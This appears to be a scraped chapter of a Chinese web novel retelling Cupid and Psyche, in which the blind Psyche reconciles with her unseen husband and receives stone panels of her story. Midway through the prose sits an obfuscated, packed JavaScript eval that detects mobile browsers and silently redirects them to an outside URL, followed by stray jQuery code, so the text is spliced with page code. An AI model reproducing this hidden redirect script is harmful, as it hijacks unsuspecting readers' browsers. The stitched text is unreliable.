石料的坚硬质地通过触觉被感知到,关于死亡与罪恶的形象转变成为圣洁光辉的模样,这的确是神像最常用的石质。
普绪克瞬间陷入羞愧之中,哦对……是这样的,他被爱神变成了怪物,他当然憎恨那么恶劣的小爱神,所以破坏了小爱神的石像,藏在这里避免被发现降罪。
而她没有听从管家的叮嘱,想趁着日落的间隙摸索到一些怪物的信息,才有了这样的误会……
“抱歉,我……”普绪克不知道如何解释,她一直奉行遵守信用是个美好的品德,却因为好奇造成这样的局面。
普绪克感受到错误的同时,也憋着一股委屈与无助,她因神罚来到这个完全陌生的地方和怪物共度余生,无论这座宫殿是多么华丽,无论怪物是多么善良,她从此以后拥有的东西就圈在这一个地方。
她需要更多的信息来填补内心的不安。
此时怪物的手仍旧握着她的手,说着安慰她不要害怕的言语,并未说什么责怪之语。
普绪克反手握住怪物的手,请求道:“我对误会你感到无比抱歉,但是请你能够体谅我。既然不允许我窥探你的样貌,能否告诉我你从前的一切呢?你希望我能够也爱你,却不让我了解你。这诺大的宫殿只有你和那些听你话的仆从们,我即使知道你的一切,又会有什么改变呢?至少,让我知道,与我共度余生的是哪一个怪物。”
丘比特紧紧抿唇,内心也有几分动摇,但他不能说。当秘密被道破,至高神也会得知。
普绪克认知里的丈夫,必须是一个怪物。
他将她的手按到自己胸前,说:“普绪克,我再次由衷地请求你,务必相信我。我从来没有伤害过任何一个人类,从来没有人惧怕过我。我是……因为爱,成为了你一个人的怪物。”
“我一个人的怪物……”普绪克重复了一遍这句话,没能理解其中的意思。
温热的触觉从掌心传来,怪物轻轻地吻了她的掌心,也解释了一个误会的源头,翅膀上的血。
丘比特说:“是我欺骗了你,我确实受伤流血了,但我不能告诉你原因。”
爱神代表着永恒的纯洁,不会爱上任何人,所以千年万年都是无法长大的孩子。如果他长大的事情被知道,所有人神都会好奇是谁让爱神动心,他的顾虑太多。
在还没有降下神谕之前,他担心风流的宙斯看见美丽的普绪克后会发起追求。在降下神谕之后,他担心违抗命令的事情败露。
为此,当他出现在众神面前时,就恢复成孩子的模样,等要回家的时候再变成大人。
但成长永远有代价,他的每一次长大都要经历一次骨骼血肉快速生长的疼痛,尤其是皮肤最为薄弱的翅膀,骨头戳破羽翼变大,鲜血淋漓,再被新生的皮肉覆盖,长出更为丰厚洁白的羽毛。
成长的伤痛很快就会愈合,但也需要一小段时间。
今天的他急于将石板画带回来,忘记了耐心等待伤口愈合,才有了眼前的误会。
丘比特说:“普绪克,请你原谅我。”
“我才应该请你原谅……这是我的错,我应该遵守承诺。”普绪克再次道歉。
“不,不是的,普绪克,你说的对,我们因为神罚而结为夫妻,你独自一人来到这里,身边没有一个认识的,你对我一无所知,你的不安与好奇是应该的,我会想办法的。”丘比特将她扶起来,说,“不过,在那之前,我还有个礼物要送给你。”
普绪克为自己的误会而感到羞愧,没有再多说什么,任由他拉着自己走出房间。
本就没有什么光线的走廊里更加黑暗,丘比特也不得不放慢脚步,他感觉到普绪克的每一步都带着犹豫。他并未因此着急,只拉着她的手在前面带路。
月光照进大殿,地面铺上一层薄薄的霜色,两人拉着手穿过空旷的殿宇来到楼梯前。
一步、一步,缓缓走上台阶。
推开门,走进寝殿,丘比特拉着普绪克来到矮桌前坐下,说:“工匠们花了很久才完成,就这样废弃太可惜了。”
普绪克闻言,已经猜到几分,她伸手在桌子上寻找,很快就摸到了几块石板画。上面的浮雕内容是如此熟悉,失明的公主得到神的恩赐,通过重重考验终于获得金箭,她向神献上金箭换取光明。
她以前认为这已经是一个完美的神话故事,和大多数美好的故事一样鼓舞人心。
原来只是故事的上半截而已。
后来,公主遭受神罚,远离王国,放弃光明,到一个陌生的地方和怪物共度余生。
她伤心极了,抱着石板画默默流泪。
“你还好吗?”丘比特以为她会很高兴,他知道她很自豪那一段寻找光明的经历。
普绪克擦掉眼泪,可也是这个怪物,比所有追求者都明白她的心思,她轻声说:“谢谢你……怪……”
感谢时仍旧称他怪物,实在是太没有礼貌,此时才想起来他们已经结婚两天,她却还不知道丈夫叫什么名字。
普绪克整理了一下情绪问:“我还不知道你的名字,我该怎么称呼你呢。”
丘比特低头说:“我不想用一个假名字欺骗你,我不在意你称呼我怪物。”
“我不想那样称呼你。”普绪克放下手中的石板画,向着声音的方向伸出手,主动拥抱了这个不知名的怪物,她小心翼翼地触摸他的翅膀问,“是因为去拿这些东西才受伤的吗?”
“不,不是。”丘比特否认,说,“我真希望我的确是因此受伤,那样我就可以心安理得接受你为此的内疚和担忧,以及此时的拥抱。”
当他到迈锡尼去找石板画的时候,这些石板被丢弃在神庙外的草丛里,他才知道因为神谕说普绪克积极赞美她自己这样一个凡人而犯了无知的罪,于是她的故事从神庙走廊墙壁上摘下。在她接受惩罚被带走后,这些石板就被丢弃,谁也不敢留存触怒神明。
“普绪克,我取石板画的时候一切都很顺利。”丘比特如实说,言语里有些失落。
但普绪克没有松开拥抱,这并不是出于内疚补偿的拥抱,他了解她,非常了解她,她想拥抱他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387537|200262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不得不承认,也为此感到迷茫与羞愧——她好像对这个只认识了两天,不知道身份、样貌、过往经历的怪物,有一丝丝的心动。
她小心翼翼将脑袋靠在怪物的胸膛,能够听到他有力的心跳声。这是她的神罚,她的丈夫,尽管他有着很多不能被知道的秘密,也是她的唯一了。
“我愿意……亲吻你。”普绪克小声说,就像每一对情侣那样。
被误会成嗜血凶残怪物的丘比特感到委屈,明白她孤身一人被困在这的无助后也为此感到内疚,而精心挑选的礼物却让她掉眼泪。
丘比特情绪很是低落,直到听到了普绪克此时说的话,他幽绿的眼眸一下子变得有了神采,错愕不敢信地抱住普绪克,说:“我可能太过期待而听错了声音,普绪克,普绪克,你能再说一遍吗?”
“……”普绪克说完就已经后悔,对于一个拒绝了所有王公贵族追求的公主来说,接受怪物的追求却如此轻易,是轻浮,是不得体。
她说服自己,这是接受神罚时就做好的准备,他们已经结婚了。
她没有再开口,只是仰头向着声音的方向缓缓靠近,在他的脸颊落下一吻。
靠近时,可以感受到他温热的气息,触碰时,可以感受他拥抱的双臂在收拢。
当她微微后仰仓促保持距离,却感觉到俯首追来。
“普绪克,请允许我也亲吻你。”怪物温柔请求的声音近在咫尺。
他急促与炽热的气息感染了普绪克,她感觉自己的呼吸也变得急促,这样的温度让头脑都变得糊涂,无法去思考太多矜持与得体。
“我允许……”她小声回答,心跳快得自己都感觉陌生。
话未说完,余下的话语就被柔软温暖的唇截止,一瞬间奇怪陌生的触觉从嘴唇蔓延向四肢。
他是这样小心翼翼,又是这样热情告白,每亲吻一下便唤一声她的名字,说一句自己的喜悦。
“普绪克,我爱你。”
普绪克沦陷在这一声声呢喃里,亲吻也缓缓落在她的耳畔。
心跳明明那么有力,却不提供给双腿站立的力气,太奇怪了,为什么变得这么奇怪,让她不得不用双手搂住他的脖子保持站立。
柔软的短发轻轻拂过手臂,普绪克好奇地将手抚向他的脑袋,发质柔软蓬松,带着少许天生的弯曲,这样亲近时能闻到发丝里留存的香料味,像是很多种香料混合在一起。
她的手从头发移到脸颊,试着通过触碰描摹出他的模样,但这过于炽热的亲吻让她无法集中精神,明明是温和的春季,却似燥热的夏夜。
丘比特突然将她抱起来走向柔软的床,猝不及防地双足离地让她惊慌,下意识将他搂得更紧,直到被放置到绸缎被褥上。
亲吻。
亲吻。
亲吻。
拥抱在一起亲吻。
明明抱得无比紧密,却比没有拥抱时更感到急切,于是只能继续亲吻。
吻到疲惫,直到这种躁动停下,两人衣衫完整微乱地拥抱在一起,沉沉睡去。